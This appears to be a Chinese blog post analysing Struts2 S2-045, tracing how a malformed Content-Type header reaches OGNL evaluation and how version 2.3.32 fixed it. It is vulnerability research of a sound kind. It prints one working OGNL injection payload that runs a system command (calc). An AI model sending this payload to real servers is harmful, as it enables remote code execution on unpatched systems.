前言

经典 Java 软件漏洞 struts 系列,准备一个个看过去。


环境搭建

2.3.29 版本 struts2 + Tomcat 9。

在 struts.xml 中加上用于存放临时文件的 saveDir,当然不加也没什么关系:

<constant name="struts.multipart.saveDir" value="upload/" />

修改前端表单:

<s:form action="login" method="post" enctype="multipart/form-data">
    <s:file name="upload" label="选择上传的文件" />
    <s:submit value="提交"/>
</s:form>

然后修改 Action,加上文件上传相关的属性以及他们的 getter、setter,后面两个属性应该也用不上:

private File upload;
private String uploadContentType;
private String uploadFileName;

漏洞分析

根据官方通告,问题发生在 Jakarta 解析 HTTP 头中的 Content-Type 时,如果 Content-Type 非法,struts2 会将错误抛出,而这里存在一个 OGNL 表达式注入。

开始调试,给 JakartaMultiPartRequest 类的 parse 函数下断点,结果发现修改 Content-Type 无法触发断点,往前跟踪到 Dispatcher 类的 wrapRequest 函数可以发现:

public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
    // don't wrap more than once
    if (request instanceof StrutsRequestWrapper) {
        return request;
    }

    String content_type = request.getContentType();
    if (content_type != null && content_type.contains("multipart/form-data")) {
        MultiPartRequest mpr = getMultiPartRequest();
        LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
        request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
    } else {
        request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
    }

    return request;
}

content_type 中要包含 multipart/form-data 这个字符串,struts2 才会调用 Jakarta 进行下一步解析,我们回到 parse 函数:

public void parse(HttpServletRequest request, String saveDir) throws IOException {
    try {
        setLocale(request);
        processUpload(request, saveDir);
    } catch (FileUploadBase.SizeLimitExceededException e) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Request exceeded size limit!", e);
        }
        String errorMessage = buildErrorMessage(e, new Object[]{e.getPermittedSize(), e.getActualSize()});
        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    } catch (Exception e) {
        if (LOG.isWarnEnabled()) {
            LOG.warn("Unable to parse request", e);
        }
        String errorMessage = buildErrorMessage(e, new Object[]{});
        if (!errors.contains(errorMessage)) {
            errors.add(errorMessage);
        }
    }
}

观察捕获异常后调用的 buildErrorMessage 函数:

protected String buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
    if (LOG.isDebugEnabled()) {
        LOG.debug("Preparing error message for key: [#0]", errorKey);
    }
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
}

会将错误信息做参调用 findText 函数,继续跟踪可以来到 getDefaultMessage 函数:

private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args, String defaultMessage) {
    GetDefaultMessageReturnArg result = null;
    boolean found = true;

    if (key != null) {
        String message = findDefaultText(key, locale);

        if (message == null) {
            message = defaultMessage;
            found = false; // not found in bundles
        }

        // defaultMessage may be null
        if (message != null) {
            MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);

            String msg = formatWithNullDetection(mf, args);
            result = new GetDefaultMessageReturnArg(msg, found);
        }
    }

    return result;
}

调用 translateVariables 将错误信息当成了一个 OGNL 表达式来解析,所以如果我们能控制报错信息,我们就能进行 OGNL 表达式注入。

接下来观察 processUpload 函数的解析过程,来到跟 Content-Type 有关的 FileUploadBase 类的 FileItemIteratorImpl 函数,可以看到这里会抛出 InvalidContentTypeException:

String contentType = ctx.getContentType();
if ((null == contentType)
    || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) {
    throw new InvalidContentTypeException(
        format("the request doesn't contain a %s or %s stream, content type header is %s",
            MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));
}

如果 Content-Type 不以 multipart/ 开头,就会抛出这个异常,而且将 Content-Type 拼接进了错误信息里面,这样利用链就完成了。

漏洞利用

跟之前 S2-037 的 payload 一致,如果是更高版本的 struts2,则要复杂一些,具体的后面再分析,这里贴一个 payload:

Content-Type: Twings multipart/form-data %{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('calc'))}

漏洞修复

2.3.32 版本的修复,修改了 buildErrorMessage 函数:

if (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, new Object[0]) == null) {
    return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() });
} else {
    return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
}

不再将错误信息作为 defaultMessage 传入 findText 函数。


参考文章:

https://xz.aliyun.com/t/4605

https://xz.aliyun.com/t/3395


Web Java Struts2

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

struts2系列漏洞 S2-046
struts2系列漏洞 S2-037